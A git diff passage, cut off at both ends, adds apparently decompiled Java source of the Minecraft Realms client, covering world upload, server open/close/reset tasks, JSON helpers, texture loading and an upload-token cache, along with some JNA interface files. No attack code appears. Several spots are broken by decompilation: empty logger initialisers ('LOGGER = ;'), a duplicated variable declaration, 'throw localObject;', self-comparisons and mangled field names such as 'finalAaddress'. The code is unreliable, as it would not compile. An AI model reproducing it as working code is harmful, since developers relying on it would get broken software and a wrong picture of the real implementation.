+          RealmsUploadScreen.LOGGER.debug("Deleting file " + archive.getAbsolutePath());
+          archive.delete();
+        }
+        
+        if (cancelled)
+        {
+          return;
+        }
+        try
+        {
+          client.uploadFinished(wid);
+        } catch (RealmsServiceException e) {
+          RealmsUploadScreen.LOGGER.error("Failed to request upload-finished to Realms", new Object[] { e.toString() }); }
+        throw localObject;
+      }
+    }.start();
+  }
+  
+  private void uploadCancelled(long worldId)
+  {
+    status = getLocalizedString("mco.upload.cancelled");
+    String oldToken = UploadTokenCache.get(worldId);
+    UploadTokenCache.invalidate(worldId);
+    try
+    {
+      RealmsClient client = RealmsClient.createRealmsClient();
+      client.uploadCancelled(worldId, oldToken);
+    } catch (RealmsServiceException e) {
+      LOGGER.error("Failed to cancel upload", e);
+    }
+  }
+  
+  private boolean verify(File archive) {
+    return archive.length() < 1048576000L;
+  }
+  
+  private File tarGzipArchive(File pathToDirectoryFile) throws IOException {
+    TarArchiveOutputStream tar = null;
+    try {
+      File file = File.createTempFile("realms-upload-file", ".tar.gz");
+      tar = new TarArchiveOutputStream(new java.util.zip.GZIPOutputStream(new FileOutputStream(file)));
+      addFileToTarGz(tar, pathToDirectoryFile.getAbsolutePath(), "world", true);
+      tar.finish();
+      return file;
+    } finally {
+      if (tar != null) {
+        tar.close();
+      }
+    }
+  }
+  
+  private void addFileToTarGz(TarArchiveOutputStream tOut, String path, String base, boolean root) throws IOException {
+    if (cancelled) {
+      return;
+    }
+    
+    File f = new File(path);
+    String entryName = base + f.getName();
+    TarArchiveEntry tarEntry = new TarArchiveEntry(f, entryName);
+    tOut.putArchiveEntry(tarEntry);
+    
+    if (f.isFile()) {
+      org.apache.commons.compress.utils.IOUtils.copy(new FileInputStream(f), tOut);
+      tOut.closeArchiveEntry();
+    } else {
+      tOut.closeArchiveEntry();
+      File[] children = f.listFiles();
+      
+      if (children != null) {
+        for (File child : children) {
+          addFileToTarGz(tOut, child.getAbsolutePath(), entryName + "/", false);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/util/JsonUtils.java b/src/minecraft/com/mojang/realmsclient/util/JsonUtils.java
new file mode 100644
index 0000000..592d033
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/util/JsonUtils.java
@@ -0,0 +1,53 @@
+package com.mojang.realmsclient.util;
+
+import com.google.gson.JsonObject;
+
+public class JsonUtils
+{
+  public JsonUtils() {}
+  
+  public static String getStringOr(String key, JsonObject node, String defaultValue)
+  {
+    com.google.gson.JsonElement element = node.get(key);
+    if (element != null) {
+      return element.isJsonNull() ? defaultValue : element.getAsString();
+    }
+    return defaultValue;
+  }
+  
+  public static int getIntOr(String key, JsonObject node, int defaultValue)
+  {
+    com.google.gson.JsonElement element = node.get(key);
+    if (element != null) {
+      return element.isJsonNull() ? defaultValue : element.getAsInt();
+    }
+    return defaultValue;
+  }
+  
+  public static long getLongOr(String key, JsonObject node, long defaultValue)
+  {
+    com.google.gson.JsonElement element = node.get(key);
+    if (element != null) {
+      return element.isJsonNull() ? defaultValue : element.getAsLong();
+    }
+    return defaultValue;
+  }
+  
+  public static boolean getBooleanOr(String key, JsonObject node, boolean defaultValue)
+  {
+    com.google.gson.JsonElement element = node.get(key);
+    if (element != null) {
+      return element.isJsonNull() ? defaultValue : element.getAsBoolean();
+    }
+    return defaultValue;
+  }
+  
+  public static java.util.Date getDateOr(String key, JsonObject node)
+  {
+    com.google.gson.JsonElement element = node.get(key);
+    if (element != null) {
+      return new java.util.Date(Long.parseLong(element.getAsString()));
+    }
+    return new java.util.Date();
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/util/Option.java b/src/minecraft/com/mojang/realmsclient/util/Option.java
new file mode 100644
index 0000000..c4f9930
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/util/Option.java
@@ -0,0 +1,41 @@
+package com.mojang.realmsclient.util;
+
+public abstract class Option<A> { public Option() {}
+  
+  public abstract A get();
+  
+  public static <A> Some<A> some(A a) { return new Some(a); }
+  public static <A> None<A> none() { return new None(); }
+  
+
+  public static final class Some<A>
+    extends Option<A>
+  {
+    private final A a;
+    
+    public Some(A a)
+    {
+      this.a = a;
+    }
+    
+    public A get()
+    {
+      return a;
+    }
+    
+    public static <A> Option<A> of(A value) {
+      return new Some(value);
+    }
+  }
+  
+  public static final class None<A>
+    extends Option<A>
+  {
+    public None() {}
+    
+    public A get()
+    {
+      throw new RuntimeException("None has no value");
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/util/Pair.java b/src/minecraft/com/mojang/realmsclient/util/Pair.java
new file mode 100644
index 0000000..adc06e6
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/util/Pair.java
@@ -0,0 +1,28 @@
+package com.mojang.realmsclient.util;
+
+public class Pair<A, B>
+{
+  private final A first;
+  private final B second;
+  
+  protected Pair(A first, B second) {
+    this.first = first;
+    this.second = second;
+  }
+  
+  public static <A, B> Pair<A, B> of(A a, B b) {
+    return new Pair(a, b);
+  }
+  
+  public A first() {
+    return first;
+  }
+  
+  public B second() {
+    return second;
+  }
+  
+  public String mkString(String separator) {
+    return String.format("%s%s%s", new Object[] { first, separator, second });
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/util/RealmsTasks.java b/src/minecraft/com/mojang/realmsclient/util/RealmsTasks.java
new file mode 100644
index 0000000..9d05fdc
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/util/RealmsTasks.java
@@ -0,0 +1,440 @@
+package com.mojang.realmsclient.util;
+
+import com.google.common.util.concurrent.FutureCallback;
+import com.google.common.util.concurrent.Futures;
+import com.mojang.realmsclient.RealmsMainScreen;
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.dto.RealmsServer.State;
+import com.mojang.realmsclient.dto.WorldTemplate;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import com.mojang.realmsclient.exception.RetryCallException;
+import com.mojang.realmsclient.gui.LongRunningTask;
+import com.mojang.realmsclient.gui.screens.RealmsConfigureWorldScreen;
+import com.mojang.realmsclient.gui.screens.RealmsTermsScreen;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import javax.annotation.Nullable;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsConnect;
+import net.minecraft.realms.RealmsScreen;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+
+public class RealmsTasks
+{
+  private static final Logger LOGGER = ;
+  private static final int NUMBER_OF_RETRIES = 25;
+  
+  public RealmsTasks() {}
+  
+  private static void pause(int seconds) {
+    try { Thread.sleep(seconds * 1000);
+    } catch (InterruptedException e) {
+      LOGGER.error("", e);
+    }
+  }
+  
+
+  public static class OpenServerTask
+    extends LongRunningTask
+  {
+    private final RealmsServer serverData;
+    private final RealmsConfigureWorldScreen configureScreen;
+    private final boolean join;
+    private final RealmsScreen lastScreen;
+    
+    public OpenServerTask(RealmsServer realmsServer, RealmsConfigureWorldScreen configureWorldScreen, RealmsScreen lastScreen, boolean join)
+    {
+      serverData = realmsServer;
+      configureScreen = configureWorldScreen;
+      this.join = join;
+      this.lastScreen = lastScreen;
+    }
+    
+    public void run()
+    {
+      setTitle(RealmsScreen.getLocalizedString("mco.configure.world.opening"));
+      RealmsClient client = RealmsClient.createRealmsClient();
+      
+      for (int i = 0; i < 25; i++) {
+        if (aborted()) return;
+        try
+        {
+          boolean openResult = client.open(serverData.id).booleanValue();
+          if (openResult) {
+            configureScreen.stateChanged();
+            serverData.state = RealmsServer.State.OPEN;
+            
+            if (join) {
+              ((RealmsMainScreen)lastScreen).play(serverData);
+              break;
+            }
+            
+            Realms.setScreen(configureScreen);
+            break;
+          }
+        } catch (RetryCallException e) {
+          if (aborted()) return;
+          RealmsTasks.pause(delaySeconds);
+        } catch (Exception e) {
+          if (aborted()) return;
+          RealmsTasks.LOGGER.error("Failed to open server", e);
+          error("Failed to open the server");
+        }
+      }
+    }
+  }
+  
+
+  public static class CloseServerTask
+    extends LongRunningTask
+  {
+    private final RealmsServer serverData;
+    
+    private final RealmsConfigureWorldScreen configureScreen;
+    
+
+    public CloseServerTask(RealmsServer realmsServer, RealmsConfigureWorldScreen configureWorldScreen)
+    {
+      serverData = realmsServer;
+      configureScreen = configureWorldScreen;
+    }
+    
+    public void run()
+    {
+      setTitle(RealmsScreen.getLocalizedString("mco.configure.world.closing"));
+      RealmsClient client = RealmsClient.createRealmsClient();
+      
+      for (int i = 0; i < 25; i++) {
+        if (aborted()) return;
+        try
+        {
+          boolean closeResult = client.close(serverData.id).booleanValue();
+          if (closeResult) {
+            configureScreen.stateChanged();
+            serverData.state = RealmsServer.State.CLOSED;
+            Realms.setScreen(configureScreen);
+            break;
+          }
+        } catch (RetryCallException e) {
+          if (aborted()) return;
+          RealmsTasks.pause(delaySeconds);
+        } catch (Exception e) {
+          if (aborted()) return;
+          RealmsTasks.LOGGER.error("Failed to close server", e);
+          error("Failed to close the server");
+        }
+      }
+    }
+  }
+  
+
+  public static class SwitchSlotTask
+    extends LongRunningTask
+  {
+    private final long worldId;
+    
+    private final int slot;
+    
+    private final RealmsScreen lastScreen;
+    private final int confirmId;
+    
+    public SwitchSlotTask(long worldId, int slot, RealmsScreen lastScreen, int confirmId)
+    {
+      this.worldId = worldId;
+      this.slot = slot;
+      this.lastScreen = lastScreen;
+      this.confirmId = confirmId;
+    }
+    
+    public void run()
+    {
+      RealmsClient client = RealmsClient.createRealmsClient();
+      
+      String title = RealmsScreen.getLocalizedString("mco.minigame.world.slot.screen.title");
+      setTitle(title);
+      
+      for (int i = 0; i < 25; i++) {
+        try {
+          if (aborted()) { return;
+          }
+          if (client.switchSlot(worldId, slot)) {
+            lastScreen.confirmResult(true, confirmId);
+            break;
+          }
+        }
+        catch (RetryCallException e) {
+          if (aborted()) return;
+          RealmsTasks.pause(delaySeconds);
+        } catch (Exception e) {
+          if (aborted()) return;
+          RealmsTasks.LOGGER.error("Couldn't switch world!");
+          error(e.toString());
+        }
+      }
+    }
+  }
+  
+
+  public static class SwitchMinigameTask
+    extends LongRunningTask
+  {
+    private final long worldId;
+    private final WorldTemplate worldTemplate;
+    private final RealmsConfigureWorldScreen lastScreen;
+    
+    public SwitchMinigameTask(long worldId, WorldTemplate worldTemplate, RealmsConfigureWorldScreen lastScreen)
+    {
+      this.worldId = worldId;
+      this.worldTemplate = worldTemplate;
+      this.lastScreen = lastScreen;
+    }
+    
+    public void run()
+    {
+      RealmsClient client = RealmsClient.createRealmsClient();
+      String title = RealmsScreen.getLocalizedString("mco.minigame.world.starting.screen.title");
+      setTitle(title);
+      
+      for (int i = 0; i < 25; i++) {
+        try {
+          if (aborted()) { return;
+          }
+          if (client.putIntoMinigameMode(worldId, worldTemplate.id).booleanValue()) {
+            Realms.setScreen(lastScreen);
+            break;
+          }
+        } catch (RetryCallException e) {
+          if (aborted()) return;
+          RealmsTasks.pause(delaySeconds);
+        } catch (Exception e) {
+          if (aborted()) return;
+          RealmsTasks.LOGGER.error("Couldn't start mini game!");
+          error(e.toString());
+        }
+      }
+    }
+  }
+  
+
+  public static class ResettingWorldTask
+    extends LongRunningTask
+  {
+    private final String seed;
+    
+    private final WorldTemplate worldTemplate;
+    
+    private final int levelType;
+    private final boolean generateStructures;
+    private final long serverId;
+    private final RealmsScreen lastScreen;
+    private String title = RealmsScreen.getLocalizedString("mco.reset.world.resetting.screen.title");
+    
+    public ResettingWorldTask(long serverId, RealmsScreen lastScreen, WorldTemplate worldTemplate) {
+      seed = null;
+      this.worldTemplate = worldTemplate;
+      levelType = -1;
+      generateStructures = true;
+      this.serverId = serverId;
+      this.lastScreen = lastScreen;
+    }
+    
+    public ResettingWorldTask(long serverId, RealmsScreen lastScreen, String seed, int levelType, boolean generateStructures) {
+      this.seed = seed;
+      worldTemplate = null;
+      this.levelType = levelType;
+      this.generateStructures = generateStructures;
+      this.serverId = serverId;
+      this.lastScreen = lastScreen;
+    }
+    
+    public void setResetTitle(String title) {
+      this.title = title;
+    }
+    
+    public void run()
+    {
+      RealmsClient client = RealmsClient.createRealmsClient();
+      setTitle(title);
+      for (int i = 0; i < 25; i++) {
+        try {
+          if (aborted()) { return;
+          }
+          if (worldTemplate != null) {
+            client.resetWorldWithTemplate(serverId, worldTemplate.id);
+          } else {
+            client.resetWorldWithSeed(serverId, seed, Integer.valueOf(levelType), generateStructures);
+          }
+          
+          if (aborted()) return;
+          Realms.setScreen(lastScreen);
+          return;
+        } catch (RetryCallException e) {
+          if (aborted()) return;
+          RealmsTasks.pause(delaySeconds);
+        } catch (Exception e) {
+          if (aborted()) return;
+          RealmsTasks.LOGGER.error("Couldn't reset world");
+          error(e.toString());
+          return;
+        }
+      }
+    }
+  }
+  
+
+  public static class RealmsConnectTask
+    extends LongRunningTask
+  {
+    private final RealmsConnect realmsConnect;
+    
+    private final RealmsServer data;
+    private final RealmsScreen onlineScreen;
+    
+    public RealmsConnectTask(RealmsScreen onlineScreen, RealmsServer server)
+    {
+      this.onlineScreen = onlineScreen;
+      realmsConnect = new RealmsConnect(onlineScreen);
+      data = server;
+    }
+    
+    public void run()
+    {
+      setTitle(RealmsScreen.getLocalizedString("mco.connect.connecting"));
+      
+      RealmsClient client = RealmsClient.createRealmsClient();
+      boolean addressRetrieved = false;
+      boolean hasError = false;
+      int sleepTime = 5;
+      com.mojang.realmsclient.dto.RealmsServerAddress a = null;
+      boolean tosNotAccepted = false;
+      
+      for (int i = 0; i < 20; i++) {
+        if (aborted())
+          break;
+        try { a = client.join(data.id);
+          addressRetrieved = true;
+        }
+        catch (RetryCallException e) {
+          sleepTime = delaySeconds;
+        } catch (RealmsServiceException e) {
+          if (errorCode == 6002) {
+            tosNotAccepted = true;
+            break;
+          }
+          hasError = true;
+          error(e.toString());
+          RealmsTasks.LOGGER.error("Couldn't connect to world", e);
+          break;
+        }
+        catch (IOException e) {
+          RealmsTasks.LOGGER.error("Couldn't parse response connecting to world", e);
+        } catch (Exception e) {
+          hasError = true;
+          RealmsTasks.LOGGER.error("Couldn't connect to world", e);
+          error(e.getLocalizedMessage());
+        }
+        
+        if (addressRetrieved) {
+          break;
+        }
+        
+        sleep(sleepTime);
+      }
+      
+      if (tosNotAccepted) {
+        Realms.setScreen(new RealmsTermsScreen(onlineScreen, data));
+      } else if ((!aborted()) && (!hasError)) {
+        if (addressRetrieved) {
+          if ((data.resourcePackUrl != null) && (data.resourcePackHash != null)) {
+            try {
+              final com.mojang.realmsclient.dto.RealmsServerAddress finalA = a;
+              
+              Futures.addCallback(Realms.downloadResourcePack(data.resourcePackUrl, data.resourcePackHash), new FutureCallback()
+              {
+                public void onSuccess(@Nullable Object result) {
+                  net.minecraft.realms.RealmsServerAddress address = net.minecraft.realms.RealmsServerAddress.parseString(finalAaddress);
+                  realmsConnect.connect(address.getHost(), address.getPort());
+                }
+                
+                public void onFailure(Throwable t)
+                {
+                  RealmsTasks.LOGGER.error(t);
+                  error("Failed to download resource pack!");
+                }
+              });
+            } catch (Exception e) {
+              Realms.clearResourcePack();
+              RealmsTasks.LOGGER.error(e);
+              error("Failed to download resource pack!");
+            }
+          } else {
+            net.minecraft.realms.RealmsServerAddress address = net.minecraft.realms.RealmsServerAddress.parseString(address);
+            realmsConnect.connect(address.getHost(), address.getPort());
+          }
+        } else {
+          error(RealmsScreen.getLocalizedString("mco.errorMessage.connectionFailure"));
+        }
+      }
+    }
+    
+    private void sleep(int sleepTimeSeconds) {
+      try {
+        Thread.sleep(sleepTimeSeconds * 1000);
+      } catch (InterruptedException e1) {
+        RealmsTasks.LOGGER.warn(e1.getLocalizedMessage());
+      }
+    }
+    
+    public void abortTask()
+    {
+      realmsConnect.abort();
+    }
+    
+    public void tick()
+    {
+      realmsConnect.tick();
+    }
+  }
+  
+  public static class WorldCreationTask extends LongRunningTask
+  {
+    private final String name;
+    private final String motd;
+    private final long worldId;
+    private final RealmsScreen lastScreen;
+    
+    public WorldCreationTask(long worldId, String name, String motd, RealmsScreen lastScreen) {
+      this.worldId = worldId;
+      this.name = name;
+      this.motd = motd;
+      this.lastScreen = lastScreen;
+    }
+    
+    public void run()
+    {
+      String title = RealmsScreen.getLocalizedString("mco.create.world.wait");
+      setTitle(title);
+      RealmsClient client = RealmsClient.createRealmsClient();
+      try
+      {
+        client.initializeWorld(worldId, name, motd);
+        Realms.setScreen(lastScreen);
+      } catch (RealmsServiceException e) {
+        RealmsTasks.LOGGER.error("Couldn't create world");
+        error(e.toString());
+      } catch (UnsupportedEncodingException e) {
+        RealmsTasks.LOGGER.error("Couldn't create world");
+        error(e.getLocalizedMessage());
+      } catch (IOException e) {
+        RealmsTasks.LOGGER.error("Could not parse response creating world");
+        error(e.getLocalizedMessage());
+      } catch (Exception e) {
+        RealmsTasks.LOGGER.error("Could not create world");
+        error(e.getLocalizedMessage());
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/util/RealmsTextureManager.java b/src/minecraft/com/mojang/realmsclient/util/RealmsTextureManager.java
new file mode 100644
index 0000000..e402b28
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/util/RealmsTextureManager.java
@@ -0,0 +1,132 @@
+package com.mojang.realmsclient.util;
+
+import java.awt.image.BufferedImage;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.IntBuffer;
+import java.util.HashMap;
+import java.util.Map;
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.io.IOUtils;
+import org.lwjgl.opengl.ContextCapabilities;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.opengl.GLContext;
+
+public class RealmsTextureManager
+{
+  public RealmsTextureManager() {}
+  
+  private static Map<String, RealmsTexture> textures = new HashMap();
+  private static Boolean useMultitextureArb;
+  public static int GL_TEXTURE0 = -1;
+  
+  public static void bindWorldTemplate(String id, String image) {
+    if (image == null) {
+      net.minecraft.realms.RealmsScreen.bind("textures/gui/presets/isles.png");
+      return;
+    }
+    
+    int textureId = getTextureId(id, image);
+    
+    GL11.glBindTexture(3553, textureId);
+  }
+  
+  public static int getTextureId(String id, String image) {
+    int textureId;
+    int textureId;
+    if (textures.containsKey(id)) {
+      RealmsTexture texture = (RealmsTexture)textures.get(id);
+      
+      if (image.equals(image)) {
+        return textureId;
+      }
+      
+      GL11.glDeleteTextures(textureId);
+      textureId = textureId;
+    } else {
+      textureId = GL11.glGenTextures();
+    }
+    
+    IntBuffer buf = null;
+    int width = 0;
+    int height = 0;
+    
+
+    try
+    {
+      java.io.InputStream in = new ByteArrayInputStream(new Base64().decode(image));
+      BufferedImage img;
+      try {
+        img = javax.imageio.ImageIO.read(in);
+      } finally {
+        IOUtils.closeQuietly(in);
+      }
+      
+      width = img.getWidth();
+      height = img.getHeight();
+      
+      int[] data = new int[width * height];
+      img.getRGB(0, 0, width, height, data, 0, width);
+      
+      buf = ByteBuffer.allocateDirect(4 * width * height).order(ByteOrder.nativeOrder()).asIntBuffer();
+      buf.put(data);
+      buf.flip();
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+    
+    if (GL_TEXTURE0 == -1) {
+      if (getUseMultiTextureArb()) {
+        GL_TEXTURE0 = 33984;
+      } else {
+        GL_TEXTURE0 = 33984;
+      }
+    }
+    
+    glActiveTexture(GL_TEXTURE0);
+    
+    GL11.glBindTexture(3553, textureId);
+    
+    GL11.glTexImage2D(3553, 0, 6408, width, height, 0, 32993, 33639, buf);
+    
+    GL11.glTexParameteri(3553, 10242, 10497);
+    GL11.glTexParameteri(3553, 10243, 10497);
+    
+    GL11.glTexParameteri(3553, 10240, 9728);
+    GL11.glTexParameteri(3553, 10241, 9729);
+    
+    textures.put(id, new RealmsTexture(image, textureId));
+    
+    return textureId;
+  }
+  
+  public static class RealmsTexture
+  {
+    String image;
+    int textureId;
+    
+    public RealmsTexture(String image, int textureId) {
+      this.image = image;
+      this.textureId = textureId;
+    }
+  }
+  
+  public static void glActiveTexture(int texture) {
+    if (getUseMultiTextureArb()) {
+      org.lwjgl.opengl.ARBMultitexture.glActiveTextureARB(texture);
+    } else {
+      org.lwjgl.opengl.GL13.glActiveTexture(texture);
+    }
+  }
+  
+  public static boolean getUseMultiTextureArb() {
+    if (useMultitextureArb == null) {
+      ContextCapabilities caps = GLContext.getCapabilities();
+      useMultitextureArb = Boolean.valueOf((GL_ARB_multitexture) && (!OpenGL13));
+    }
+    
+    return useMultitextureArb.booleanValue();
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/util/RealmsUtil.java b/src/minecraft/com/mojang/realmsclient/util/RealmsUtil.java
new file mode 100644
index 0000000..a5fca30
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/util/RealmsUtil.java
@@ -0,0 +1,47 @@
+package com.mojang.realmsclient.util;
+
+import java.lang.reflect.Method;
+import java.net.URI;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class RealmsUtil
+{
+  private static final Logger LOGGER = ;
+  
+  public RealmsUtil() {}
+  
+  public static void browseTo(String uri) { try { URI link = new URI(uri);
+      Class<?> desktopClass = Class.forName("java.awt.Desktop");
+      Object o = desktopClass.getMethod("getDesktop", new Class[0]).invoke(null, new Object[0]);
+      desktopClass.getMethod("browse", new Class[] { URI.class }).invoke(o, new Object[] { link });
+    } catch (Throwable e) {
+      LOGGER.error("Couldn't open link");
+    }
+  }
+  
+  private static final int MINUTES = 60;
+  private static final int HOURS = 3600;
+  private static final int DAYS = 86400;
+  public static String convertToAgePresentation(Long timeDiff)
+  {
+    if (timeDiff.longValue() < 0L) {
+      return "right now";
+    }
+    long timeDiffInSeconds = timeDiff.longValue() / 1000L;
+    
+    if (timeDiffInSeconds < 60L) {
+      return (timeDiffInSeconds == 1L ? "1 second" : new StringBuilder().append(timeDiffInSeconds).append(" seconds").toString()) + " ago";
+    }
+    if (timeDiffInSeconds < 3600L) {
+      long minutes = timeDiffInSeconds / 60L;
+      return (minutes == 1L ? "1 minute" : new StringBuilder().append(minutes).append(" minutes").toString()) + " ago";
+    }
+    if (timeDiffInSeconds < 86400L) {
+      long hours = timeDiffInSeconds / 3600L;
+      return (hours == 1L ? "1 hour" : new StringBuilder().append(hours).append(" hours").toString()) + " ago";
+    }
+    long days = timeDiffInSeconds / 86400L;
+    return (days == 1L ? "1 day" : new StringBuilder().append(days).append(" days").toString()) + " ago";
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/util/UploadTokenCache.java b/src/minecraft/com/mojang/realmsclient/util/UploadTokenCache.java
new file mode 100644
index 0000000..1d8e7cd
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/util/UploadTokenCache.java
@@ -0,0 +1,22 @@
+package com.mojang.realmsclient.util;
+
+import java.util.Map;
+
+public class UploadTokenCache {
+  public UploadTokenCache() {}
+  
+  private static Map<Long, String> tokenCache = new java.util.HashMap();
+  
+  public static String get(long worldId) {
+    return (String)tokenCache.get(Long.valueOf(worldId));
+  }
+  
+  public static void invalidate(long world) {
+    tokenCache.remove(Long.valueOf(world));
+  }
+  
+  public static void put(long wid, String token)
+  {
+    tokenCache.put(Long.valueOf(wid), token);
+  }
+}
diff --git a/src/minecraft/com/mojang/util/QueueLogAppender.java b/src/minecraft/com/mojang/util/QueueLogAppender.java
new file mode 100644
index 0000000..c561bf1
--- /dev/null
+++ b/src/minecraft/com/mojang/util/QueueLogAppender.java
@@ -0,0 +1,83 @@
+package com.mojang.util;
+
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReadWriteLock;
+import org.apache.logging.log4j.Logger;
+import org.apache.logging.log4j.core.Filter;
+import org.apache.logging.log4j.core.Layout;
+import org.apache.logging.log4j.core.LogEvent;
+import org.apache.logging.log4j.core.appender.AbstractAppender;
+import org.apache.logging.log4j.core.config.plugins.Plugin;
+import org.apache.logging.log4j.core.config.plugins.PluginAttribute;
+import org.apache.logging.log4j.core.config.plugins.PluginElement;
+import org.apache.logging.log4j.core.layout.PatternLayout;
+
+@Plugin(name="Queue", category="Core", elementType="appender", printObject=true)
+public class QueueLogAppender extends AbstractAppender
+{
+  private static final int MAX_CAPACITY = 250;
+  private static final Map<String, BlockingQueue<String>> QUEUES = new HashMap();
+  private static final ReadWriteLock QUEUE_LOCK = new java.util.concurrent.locks.ReentrantReadWriteLock();
+  private final BlockingQueue<String> queue;
+  
+  public QueueLogAppender(String name, Filter filter, Layout<? extends Serializable> layout, boolean ignoreExceptions, BlockingQueue<String> queue)
+  {
+    super(name, filter, layout, ignoreExceptions);
+    this.queue = queue;
+  }
+  
+  public void append(LogEvent event)
+  {
+    if (queue.size() >= 250) {
+      queue.clear();
+    }
+    queue.add(getLayout().toSerializable(event).toString());
+  }
+  
+  @org.apache.logging.log4j.core.config.plugins.PluginFactory
+  public static QueueLogAppender createAppender(@PluginAttribute("name") String name, @PluginAttribute("ignoreExceptions") String ignore, @PluginElement("Layout") Layout<? extends Serializable> layout, @PluginElement("Filters") Filter filter, @PluginAttribute("target") String target) {
+    boolean ignoreExceptions = Boolean.parseBoolean(ignore);
+    
+    if (name == null) {
+      LOGGER.error("No name provided for QueueLogAppender");
+      return null;
+    }
+    
+    if (target == null) {
+      target = name;
+    }
+    
+    QUEUE_LOCK.writeLock().lock();
+    BlockingQueue<String> queue = (BlockingQueue)QUEUES.get(target);
+    if (queue == null) {
+      queue = new LinkedBlockingQueue();
+      QUEUES.put(target, queue);
+    }
+    QUEUE_LOCK.writeLock().unlock();
+    
+    if (layout == null) {
+      layout = PatternLayout.createLayout(null, null, null, null, null);
+    }
+    
+    return new QueueLogAppender(name, filter, layout, ignoreExceptions, queue);
+  }
+  
+  public static String getNextLogEvent(String queueName) {
+    QUEUE_LOCK.readLock().lock();
+    BlockingQueue<String> queue = (BlockingQueue)QUEUES.get(queueName);
+    QUEUE_LOCK.readLock().unlock();
+    
+    if (queue != null) {
+      try {
+        return (String)queue.take();
+      }
+      catch (InterruptedException ignored) {}
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/com/mojang/util/UUIDTypeAdapter.java b/src/minecraft/com/mojang/util/UUIDTypeAdapter.java
new file mode 100644
index 0000000..f420200
--- /dev/null
+++ b/src/minecraft/com/mojang/util/UUIDTypeAdapter.java
@@ -0,0 +1,28 @@
+package com.mojang.util;
+
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonWriter;
+import java.util.UUID;
+
+public class UUIDTypeAdapter extends com.google.gson.TypeAdapter<UUID>
+{
+  public UUIDTypeAdapter() {}
+  
+  public void write(JsonWriter out, UUID value) throws java.io.IOException
+  {
+    out.value(fromUUID(value));
+  }
+  
+  public UUID read(JsonReader in) throws java.io.IOException
+  {
+    return fromString(in.nextString());
+  }
+  
+  public static String fromUUID(UUID value) {
+    return value.toString().replace("-", "");
+  }
+  
+  public static UUID fromString(String input) {
+    return UUID.fromString(input.replaceFirst("(\\w{8})(\\w{4})(\\w{4})(\\w{4})(\\w{12})", "$1-$2-$3-$4-$5"));
+  }
+}
diff --git a/src/minecraft/com/sun/jna/AltCallingConvention.java b/src/minecraft/com/sun/jna/AltCallingConvention.java
new file mode 100644
index 0000000..71c8d7f
--- /dev/null
+++ b/src/minecraft/com/sun/jna/AltCallingConvention.java
@@ -0,0 +1,3 @@
+package com.sun.jna;
+
+public abstract interface AltCallingConvention {}
diff --git a/src/minecraft/com/sun/jna/Callback.java b/src/minecraft/com/sun/jna/Callback.java
new file mode 100644
index 0000000..0f4687d
--- /dev/null
+++ b/src/minecraft/com/sun/jna/Callback.java
@@ -0,0 +1,53 @@
+package com.sun.jna;
+
+import java.util.Arrays;
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Callback
+{
+  public static final String METHOD_NAME = "callback";
+  public static final Collection FORBIDDEN_NAMES = Arrays.asList(new String[] { "hashCode", "equals", "toString" });
+  
+  public static abstract interface UncaughtExceptionHandler
+  {
+    public abstract void uncaughtException(Callback paramCallback, Throwable paramThrowable);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/CallbackParameterContext.java b/src/minecraft/com/sun/jna/CallbackParameterContext.java
new file mode 100644
index 0000000..9147372
--- /dev/null
+++ b/src/minecraft/com/sun/jna/CallbackParameterContext.java
@@ -0,0 +1,31 @@
+package com.sun.jna;
+
+import java.lang.reflect.Method;
+
+
+
+
+
+
+
+
+
+
+public class CallbackParameterContext
+  extends FromNativeContext
+{
+  private Method method;
+  private Object[] args;
+  private int index;
+  
+  CallbackParameterContext(Class javaType, Method m, Object[] args, int index)
+  {
+    super(javaType);
+    method = m;
+    this.args = args;
+    this.index = index; }
+  
+  public Method getMethod() { return method; }
+  public Object[] getArguments() { return args; }
+  public int getIndex() { return index; }
+}
diff --git a/src/minecraft/com/sun/jna/CallbackProxy.java b/src/minecraft/com/sun/jna/CallbackProxy.java
new file mode 100644
index 0000000..88002eb
--- /dev/null
+++ b/src/minecraft/com/sun/jna/CallbackProxy.java
@@ -0,0 +1,11 @@
+package com.sun.jna;
+
+public abstract interface CallbackProxy
+  extends Callback
+{
+  public abstract Object callback(Object[] paramArrayOfObject);
+  
+  public abstract Class[] getParameterTypes();
+  
+  public abstract Class getReturnType();
+}
diff --git a/src/minecraft/com/sun/jna/CallbackReference.java b/src/minecraft/com/sun/jna/CallbackReference.java
new file mode 100644
index 0000000..1819df0
--- /dev/null
